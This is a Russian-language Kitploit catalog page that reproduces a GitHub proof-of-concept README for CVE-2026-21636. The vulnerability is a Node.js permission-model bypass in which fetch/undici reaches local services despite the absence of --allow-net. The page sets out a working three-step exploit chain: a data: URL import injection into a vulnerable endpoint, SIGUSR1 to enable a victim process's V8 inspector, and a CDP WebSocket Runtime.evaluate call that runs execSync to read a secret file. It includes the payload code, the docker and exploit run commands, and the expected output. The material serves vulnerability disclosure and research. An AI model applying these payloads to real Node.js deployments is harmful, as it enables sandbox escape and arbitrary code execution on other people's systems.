Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-21636 — Доказательство концепции, демонстрирующее обход модели разрешений Node.js (CVE-2026-21636), который позволяет получить сетевой доступ к локальным службам через undici/fetch, обеспечивая выполнение произвольного кода через CDP. | Kitploit
Инструменты/GitHubGitHub/pauldechassey/cve-2026-21636
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВиртуализация для безопасностиТестирование на Проникновение
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Доказательство концепции, демонстрирующее обход модели разрешений Node.js (CVE-2026-21636), который позволяет получить сетевой доступ к локальным службам через undici/fetch, обеспечивая выполнение произвольного кода через CDP.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
4 месяцев назадЕщё не проверено

CVE-2026-21636 — Обход модели разрешений Node.js через UDS/сеть

Сводка по уязвимости

Модель разрешений Node.js (--permission) предназначена для изоляции процесса путём ограничения доступа к файловой системе, дочерним процессам, воркерам и сети. CVE-2026-21636 показывает, что соединения, устанавливаемые через undici/fetch (а также net/tls) к доменным сокетам Unix и локальным TCP-адресам, полностью обходят сетевую защиту, даже при отсутствии --allow-net.

Затронуто: Node.js v25 (сетевые разрешения всё ещё экспериментальны на момент раскрытия).
Данный PoC воспроизводит концепцию на v22, где наблюдается тот же обход.

Атакующий, способный внедрить произвольный JavaScript в процесс, работающий под --permission (но без --allow-net или --allow-child-process), может:

  1. Подключаться к привилегированным локальным сервисам, которые должны быть недоступны.
  2. Использовать этот сервис как точку опоры для выполнения произвольных команд за пределами песочницы.

Архитектура окружения

Внутри контейнера под управлением supervisord бок о бок работают два процесса:

target.cjs записывает свой PID в /tmp/target.pid при запуске, затем работает в бесконечном цикле (простаивающий процесс-жертва). server.mjs запускает Express-сервер на :8000 с эндпоинтом /pid и уязвимым эндпоинтом /language.

Файл /app/secret.txt принадлежит пользователю app (chmod 444). Оба процесса могут получить к нему доступ на уровне ОС. Эксплойт не полагается на барьер прав доступа к файлам — он демонстрирует, что server.mjs, несмотря на отсутствие --allow-net, может обратиться к 127.0.0.1:9229 через fetch()/WebSocket и выполнить произвольный код внутри процесса target.cjs без песочницы. Чтение secret.txt через CDP является доказательством выполнения этого кода.

Примечание: что на самом деле демонстрирует этот PoC

Поскольку server.mjs уже запущен с --allow-fs-read=/, чтение /app/secret.txt напрямую из изолированного процесса тривиально возможно с использованием только JS-инъекции (шаг 1):

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

Чтение файловой системы — не суть этого PoC. Цель — продемонстрировать CVE-2026-21636: несмотря на отсутствие --allow-net, fetch() (undici) может установить TCP-соединение с 127.0.0.1:9229, полностью обходя сетевую защиту модели разрешений. Эксплойт использует этот обход, чтобы через CDP проникнуть в полностью неизолированный процесс target.cjs и добиться выполнения произвольного кода за пределами песочницы; то, что не позволило бы никакое количество --allow-fs-read.


Точка входа — POST /language

Этот раздел выходит за рамки PoC.

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

Сервер выполняет динамический import() строки, контролируемой пользователем. Node.js import() нативно поддерживает схему URL data::

root@kitploit:~
data:text/javascript,<percent-encoded JS>

Суффикс /index.js, добавляемый сервером, нейтрализуется добавлением // в конец полезной нагрузки (интерпретируется как URL-комментарий / игнорируемый фрагмент пути).

Это даёт выполнение произвольного JavaScript внутри изолированного процесса — точку входа для злоупотребления CVE-2026-21636.


Модель разрешений — что разрешено (а что нет)

Сервер запускается с:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

Замысел: даже если атакующий запустит код внутри server.mjs, он не сможет выйти в сеть, породить процессы или получить доступ к инспектору.

CVE-2026-21636 разрушает границу --allow-net.


Цепочка атаки (3 шага)

Шаг 1 — Получение PID цели

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs записывает свой PID в /tmp/target.pid при запуске. Сервер предоставляет его. Это идентифицирует процесс-жертву, который будет использоваться как CDP-ретранслятор. Это также можно было бы сделать путём инъекции JS в точку входа; для упрощения я просто создал эндпоинт /pid.


Шаг 2 — Активация V8-инспектора на target.cjs через SIGUSR1

Полезная нагрузка, внедрённая через POST /language (как URL data:):

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

Когда процесс Node.js получает SIGUSR1, он запускает (или возобновляет) свой V8/CDP-отладчик и начинает прослушивание на:

root@kitploit:~
127.0.0.1:9229

Поскольку target.cjs работает без --permission, его инспектор полностью привилегирован — он может вычислять любые выражения, включая require('child_process').execSync(...).

Отправка сигналов (process.kill) не ограничивается моделью разрешений, поэтому этот шаг выполняется изнутри песочницы.


Шаг 3 — Подключение к CDP и выполнение команд (CVE-2026-21636)

Вторая полезная нагрузка, внедрённая через POST /language:

root@kitploit:~
// получаем список отлаживаемых целей из HTTP API инспектора
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

// затем открываем WebSocket к CDP-эндпоинту target.cjs
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

Почему это работает, несмотря на отсутствие --allow-net:

fetch() в Node.js реализован через undici. CVE-2026-21636 показывает, что путь соединения undici для http://127.0.0.1:... (и опции UDS socketPath) не проходит через сетевую проверку модели разрешений. Песочница считает, что исходящего сетевого доступа не было, однако TCP-соединение с :9229 успешно устанавливается.

Вызов CDP Runtime.evaluate выполняется внутри неизолированного процесса target.cjs, поэтому require('child_process') доступен, и execSync работает без ограничений.


Полный поток эксплойта

root@kitploit:~
атакующий (Python-скрипт)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → инспектор target.cjs запускается на :9229
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              обход CVE-2026-21636 здесь
                                              (fetch к 127.0.0.1 без --allow-net)

Использование

root@kitploit:~
# Сборка и запуск окружения
docker compose up --build -d

# Запуск эксплойта
python3 exploit.py

Ожидаемый вывод:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

Ссылки

  • NVD — CVE-2026-21636
  • Документация модели разрешений Node.js
  • Протокол V8 Inspector / CDP
  • undici — встроенный HTTP-клиент Node.js
Скачать инструмент
ПроцессПользовательФлагиВозможности
target.cjsappнетполный API Node.js, без песочницы
server.mjsapp--permission --allow-fs-read=/полное чтение ФС — без сети, без child_process, без worker
РазрешениеСтатус
--allow-fs-read=/предоставлено (полное чтение)
--allow-fs-writeзапрещено
--allow-netзапрещено (экспериментальное, не установлено)
--allow-child-processзапрещено
--allow-workerзапрещено
--allow-inspectorзапрещено